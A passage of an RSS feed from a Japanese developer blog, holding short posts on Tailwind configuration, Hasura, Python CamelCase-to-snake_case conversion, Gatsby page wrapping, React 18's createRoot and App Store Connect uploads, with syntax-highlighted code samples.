&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;theme&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;extend&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;colors&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;clifford&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;#da373d&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/&lt;span style="color:#f92672"&gt;head&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;body&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;h1&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;class&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;text-3xl font-bold underline text-clifford&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Hello world!
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/&lt;span style="color:#f92672"&gt;h1&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/&lt;span style="color:#f92672"&gt;body&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/&lt;span style="color:#f92672"&gt;html&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;高さ:&lt;/p&gt;</description></item><item><title>Hasura</title><link>https://hdknr.github.io/blogs/posts/2024/09/hasura/</link><pubDate>Mon, 09 Sep 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/09/hasura/</guid><description>&lt;h1 id="hassura"&gt;Hassura&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;PostgreSQL サーバーから自動的に GraphQL サーバーを建てられる, PostgreSQL サーバーがあればすぐに使える&lt;/li&gt;
&lt;li&gt;GraphQL サーバーを実装する手間が省ける&lt;/li&gt;
&lt;li&gt;他の自前で用意したGraphQLサーバーとHasuraを統合してリクエストをHasura一つにお任せすることも可能&lt;/li&gt;
&lt;li&gt;ページングや集計クエリなども自動で生成される&lt;/li&gt;
&lt;li&gt;実際に発行される SQL がすぐにわかる&lt;/li&gt;
&lt;li&gt;認証認可の仕組みがある&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="ドキュメント"&gt;ドキュメント&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://hasura.io/learn/ja/graphql/hasura/introduction/"&gt;https://hasura.io/learn/ja/graphql/hasura/introduction/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="記事"&gt;記事&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://qiita.com/maaz118/items/9e198ea91ad8fc624491"&gt;Hasuraがめちゃくちゃ便利だよという話&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://qiita.com/roll1226/items/3da8b75ffd1b486b248f"&gt;Hasuraを使って環境構築してガンガン工数削減&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Python: 文字烈ケース変換</title><link>https://hdknr.github.io/blogs/posts/2024/09/python-%E6%96%87%E5%AD%97%E7%83%88%E3%82%B1%E3%83%BC%E3%82%B9%E5%A4%89%E6%8F%9B/</link><pubDate>Fri, 06 Sep 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/09/python-%E6%96%87%E5%AD%97%E7%83%88%E3%82%B1%E3%83%BC%E3%82%B9%E5%A4%89%E6%8F%9B/</guid><description>&lt;h1 id="python-文字列ケース変換"&gt;Python 文字列ケース変換&lt;/h1&gt;
&lt;h2 id="camel"&gt;Camel&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://stackoverflow.com/questions/1175208/elegant-python-function-to-convert-camelcase-to-snake-case"&gt;Elegant Python function to convert CamelCase to snake_case?&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;import&lt;/span&gt; re
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;name &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;CamelCaseName&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;name &lt;span style="color:#f92672"&gt;=&lt;/span&gt; re&lt;span style="color:#f92672"&gt;.&lt;/span&gt;sub(&lt;span style="color:#e6db74"&gt;r&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;(?&amp;lt;!^)(?=[A-Z])&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;_&amp;#39;&lt;/span&gt;, name)&lt;span style="color:#f92672"&gt;.&lt;/span&gt;lower()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;print(name) &lt;span style="color:#75715e"&gt;# camel_case_name&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>Gatsby レイアウト</title><link>https://hdknr.github.io/blogs/posts/2024/09/gatsby-%E3%83%AC%E3%82%A4%E3%82%A2%E3%82%A6%E3%83%88/</link><pubDate>Wed, 04 Sep 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/09/gatsby-%E3%83%AC%E3%82%A4%E3%82%A2%E3%82%A6%E3%83%88/</guid><description>&lt;h1 id="gastby-レイアウト"&gt;Gastby レイアウト&lt;/h1&gt;
&lt;h2 id="wrapperjs"&gt;&lt;code&gt;wrapper.js&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;Gatsbyの&lt;code&gt;wrapper.js&lt;/code&gt;ファイルは、ページ全体をラップするために使用されるファイルです。
このファイルを使用することで、特定のHTML要素やReactプロバイダーでページをラップすることができます。
これにより、ページ全体に共通のレイアウトや機能を簡単に適用できます。&lt;/p&gt;
&lt;p&gt;例えば、以下のように&lt;code&gt;wrapper.js&lt;/code&gt;ファイルを作成し、ページを特定のコンポーネントでラップすることができます。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;6
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;import&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;React&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;from&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;react&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;import&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Layout&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;from&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;./src/components/Layout&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;export&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;wrapPageElement&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; ({ &lt;span style="color:#a6e22e"&gt;element&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;props&lt;/span&gt; }) =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;Layout&lt;/span&gt; {...&lt;span style="color:#a6e22e"&gt;props&lt;/span&gt;}&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;{&lt;span style="color:#a6e22e"&gt;element&lt;/span&gt;}&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;/Layout&amp;gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;};
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;この例では、&lt;code&gt;Layout&lt;/code&gt;コンポーネントでページ全体をラップしています。これにより、すべてのページに共通のレイアウトが適用されます。&lt;/p&gt;
&lt;p&gt;さらに詳しい情報や具体的な使用例については、&lt;a href="https://www.gatsbyjs.com/plugins/gatsby-plugin-wrap-pages/"&gt;Gatsbyの公式ドキュメント&lt;/a&gt;を参考にすると良いでしょう¹。&lt;/p&gt;
&lt;p&gt;他に知りたいことがあれば教えてくださいね！&lt;/p&gt;
&lt;p&gt;ソース: Copilot との会話、 2024/9/4
(1) gatsby-plugin-wrap-pages | Gatsby. &lt;a href="https://www.gatsbyjs.com/plugins/gatsby-plugin-wrap-pages/"&gt;https://www.gatsbyjs.com/plugins/gatsby-plugin-wrap-pages/&lt;/a&gt;.
(2) Gatsby公式チュートリアルやったよ #JavaScript - Qiita. &lt;a href="https://qiita.com/irico/items/cf87eb29ecaf7e135fcd"&gt;https://qiita.com/irico/items/cf87eb29ecaf7e135fcd&lt;/a&gt;.
(3) Gatsby.js 入門 - Zenn. &lt;a href="https://zenn.dev/dev8/articles/gatsby_tutorial"&gt;https://zenn.dev/dev8/articles/gatsby_tutorial&lt;/a&gt;.
(5) en.wikipedia.org. &lt;a href="https://en.wikipedia.org/wiki/Gatsby_(software)"&gt;https://en.wikipedia.org/wiki/Gatsby_(software)&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;wrapper.js:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;9
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;import&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;React&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;from&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;react&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;import&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Layout&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;from&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;./layout&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;export&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;wrapPageElement&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; ({ &lt;span style="color:#a6e22e"&gt;element&lt;/span&gt; }) =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; (
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;Layout&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;{&lt;span style="color:#a6e22e"&gt;element&lt;/span&gt;}&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;/Layout&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; );
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;};
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;layout.js:&lt;/p&gt;</description></item><item><title>Locofy</title><link>https://hdknr.github.io/blogs/posts/2024/09/locofy/</link><pubDate>Wed, 04 Sep 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/09/locofy/</guid><description>&lt;h1 id="locofy"&gt;Locofy&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.monster-dive.com/blog/web_creative/20240301_002180.php"&gt;Figmaで作ったデザインをLocofyで自動生成してみた&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>React</title><link>https://hdknr.github.io/blogs/posts/2024/09/react/</link><pubDate>Wed, 04 Sep 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/09/react/</guid><description>&lt;h1 id="react"&gt;React&lt;/h1&gt;
&lt;h2 id="reactdomrender"&gt;&lt;code&gt;ReactDOM.render&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;React 18以降では、&lt;code&gt;ReactDOM.render&lt;/code&gt;は非推奨となり、代わりに&lt;code&gt;createRoot&lt;/code&gt;を使用することが推奨されています。以下に新しい方法の例を示します。&lt;/p&gt;
&lt;p&gt;まず、&lt;code&gt;react-dom/client&lt;/code&gt;から&lt;code&gt;createRoot&lt;/code&gt;をインポートします。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;11
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;12
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;import&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;React&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;from&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;react&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;import&lt;/span&gt; { &lt;span style="color:#a6e22e"&gt;createRoot&lt;/span&gt; } &lt;span style="color:#a6e22e"&gt;from&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;react-dom/client&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;import&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;App&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;from&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;./App&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;container&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; document.&lt;span style="color:#a6e22e"&gt;getElementById&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;root&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;root&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;createRoot&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;container&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;root&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;render&lt;/span&gt;(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;React&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;StrictMode&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;App&lt;/span&gt; &lt;span style="color:#f92672"&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;/React.StrictMode&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;このコードでは、&lt;code&gt;createRoot&lt;/code&gt;を使用してルートを作成し、そのルートに対して&lt;code&gt;render&lt;/code&gt;メソッドを呼び出しています。これにより、React 18の新しいレンダリングAPIを利用することができます¹²。&lt;/p&gt;</description></item><item><title>Apple: App Store Connect</title><link>https://hdknr.github.io/blogs/posts/2024/09/apple-app-store-connect/</link><pubDate>Tue, 03 Sep 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/09/apple-app-store-connect/</guid><description>&lt;h1 id="app-store-connect"&gt;App Store Connect&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://developer.apple.com/jp/help/app-store-connect/reference/screenshot-specifications/"&gt;スクリーンショットの仕様&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="アップデート"&gt;アップデート&lt;/h2&gt;
&lt;p&gt;✓ Built IPA to build/ios/ipa (46.7MB)
To upload to the App Store either:
1. Drag and drop the &amp;ldquo;build/ios/ipa/&lt;em&gt;.ipa&amp;rdquo; bundle into the Apple Transporter macOS app &lt;a href="https://apps.apple.com/us/app/transporter/id1450874784"&gt;https://apps.apple.com/us/app/transporter/id1450874784&lt;/a&gt;
2. Run &amp;ldquo;xcrun altool &amp;ndash;upload-app &amp;ndash;type ios -f build/ios/ipa/&lt;/em&gt;.ipa &amp;ndash;apiKey your_api_key &amp;ndash;apiIssuer your_issuer_id&amp;rdquo;.
